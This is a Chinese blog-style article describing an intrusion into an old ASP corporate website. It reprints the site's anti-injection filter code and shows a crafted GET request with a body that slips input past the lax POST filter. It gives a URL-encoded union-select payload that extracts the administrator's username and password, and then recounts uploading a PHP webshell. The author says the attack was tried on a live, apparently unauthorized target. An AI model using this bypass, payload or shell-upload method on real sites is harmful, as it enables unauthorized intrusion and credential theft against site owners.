游乐游手机版
首页/网络安全/文章详情

利用Request对象包解析漏洞绕过防注入

时间:2026-08-04 06:36
今天碰巧翻到一个老牌的ASP企业站,界面平平无奇,点了几下链接也看不出具体用了什么程序。顺手扫了个目录,发现一个upload_photo asp——这个文件通常对应的是无惧无组件上传,存在经典的双文件上传漏洞。试着用cookies欺骗绕过登录检测,结果失败了,看样子这个漏洞已经被修复。虽然是个老程序

今天碰巧翻到一个老牌的ASP企业站,界面平平无奇,点了几下链接也看不出具体用了什么程序。顺手扫了个目录,发现一个upload_photo.asp——这个文件通常对应的是无惧无组件上传,存在经典的双文件上传漏洞。试着用cookies欺骗绕过登录检测,结果失败了,看样子这个漏洞已经被修复。虽然是个老程序,但扛不住这么多年被反复攻击,那些小洞基本都补得差不多了。

去网上下载了同款企业站程序,本地搭了个环境仔细研究。发现downloadshow.asp的防注入是通过check_sql.asp实现的。来看看这个关键的过滤文件:

<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定义部份 头----------------------------------------------------------------------
Err_Message = 1 '处理方式:1=提示信息,2=转向页面,3=先提示再转向
Err_Web = "Err.Asp" '出错时转向的页面
Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在这部份定义get非法参数,使用"∥"号间隔
Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在这部份定义post非法参数,使用"∥"号间隔
'------定义部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 对 get query 值 的过滤.
if request.QueryString<>"" then
response.write "QueryString :" & request.QueryString & "
" Chk_badword=split(Query_Badword,"∥") FOR EACH Query_Name IN Request.QueryString for i=0 to ubound(Chk_badword) If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then response.write request.QueryString(Query_Name) & "出现关键词" & Chk_badword(i) &"
" Select Case Err_Message Case "1" Response.Write "传参错误!参数 "&name&" 的值中包含非法字符串!\n\n请不要在参数中间出现:and update delete ; insert mid master 等非法字符" Case "2" Response.Write "" Case "3" Response.Write "" End Select Response.End End If NEXT NEXT End if '-----对 post 表 单值的过滤. if request.form<>"" then Chk_badword=split(Form_Badword,"∥") FOR EACH name IN Request.Form for i=0 to ubound(Chk_badword) If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then response.write request.form(name) & "出现关键词" & Chk_badword(i) &"
" Select Case Err_Message Case "1" Response.Write "出错了!表单 "&name&" 的值中包含非法字符串!\n\n请不要在表单中间出现: % & * # ( ) 等非法字符!" Case "3" Response.Write "出错了!参数 "&name&"的值中包含非法字符串!\n\n请不要在表单中间出现: % & * # ( ) 等非法字符!" End Select Response.End End If NEXT NEXT end if %>

仔细看这段代码:它对GET请求的参数过滤非常严格,几乎把常见的SQL注入关键字都列上了。但对POST请求的参数,只过滤了% & * # ( ) =这几个符号——这明显是给绕过留了空间。但问题是downloadshow.asp只接受GET参数,怎么把POST的“宽松过滤”套用到GET上呢?

这就需要用到ASP与ASPX的Request对象包解析漏洞。简单来说,可以构造一个特殊的HTTP请求:

GET /Downloadshow.asp HTTP/1.1
HOST:XXXXXXXXXXXXXXXX
Content-Length: xx
Content-Type: XXXXXXXXXXXXXXXXXX
ID=111

在这个请求中,虽然方法是GET,但请求体里带了参数ID=111。而downloadshow.asp中如果使用request("ID")来获取数据,它会同时从QueryString和Form中查找,因此仍然能正确拿到ID的值。但对于那个check_sql.asp来说,当它检测到请求体中有数据时,会将其视为POST提交,从而走POST过滤逻辑——这就正好撞上了它的薄弱环节,SQL注入漏洞由此产生。

利用Request对象的包解析漏洞绕过防注入程序

利用Request对象的包解析漏洞绕过防注入程序

利用Request对象的包解析漏洞绕过防注入程序

实际操作时,用火狐的HackBar插件可以很方便地在GET请求中附加POST数据。本地测试成功后,直接拿目标站试试。

来到downloadshow.asp页面,提交POST数据(注意请求方法仍是GET,但通过HackBar添加了请求体):

ID=-7%20union%20select%201%2Cusername%2C3%2C4%2C5%2C6%2Cpassword%2C8%2Cpassword%2C0%2C11%2C12%2C13%20from%20admin

结果直接爆出了管理员的用户名和密码。

利用Request对象的包解析漏洞绕过防注入程序

拿到后台权限后,接下来就是走常规的拿shell流程。现在已经是管理员身份且登录了,尝试双文件上传——但悲剧发现,之前那种在后缀后面加空格的方法已经不管用了。无惧上传组件会检测asp、asa、aspx三种后缀,对于ASP站,可以试试cer后缀,但目标站不支持cer。又看了数据库备份功能,发现数据库路径和文件名不可改写,尝试用Firebug修改上传图片路径,备份文件填1.asp,提交时抓包发现原始数据库路径根本没作为参数提交——这条路也被堵死了。

果然如开头所说,虽然是老旧的垃圾站,但经过这么多年被黑,各种小洞都补得差不多了。无奈之下,试试上传其他脚本类型,上传了一个php文件,还好服务器支持PHP,shell到手了。

来源:https://www.jb51.net/hack/43824.html
上一篇多种脚本的一句话木马汇总 下一篇六种后台获取Shell的渗透测试方法与技巧
本站内容用于信息整理与展示,如有侵权或内容问题请及时联系处理。

相关推荐

补充同频道和同主题内容,方便继续浏览更多相关内容。

同类最新

继续查看同栏目最近更新的文章。

更多
DDoS攻击的三大主要形式:原理、特征与防御重点
网络安全 · 2026-08-31

DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。

如何有效预防和缓解DDoS攻击:5大核心策略详解
网络安全 · 2026-08-31

如何有效预防和缓解DDoS攻击:5大核心策略详解

面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
网络安全 · 2026-08-31

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。

常见DDoS攻击类型详解:原理、特征与防御策略
网络安全 · 2026-08-31

常见DDoS攻击类型详解:原理、特征与防御策略

本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。

如何有效抵御DDOS攻击:4种核心防护方案解析
网络安全 · 2026-08-31

如何有效抵御DDOS攻击:4种核心防护方案解析

面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。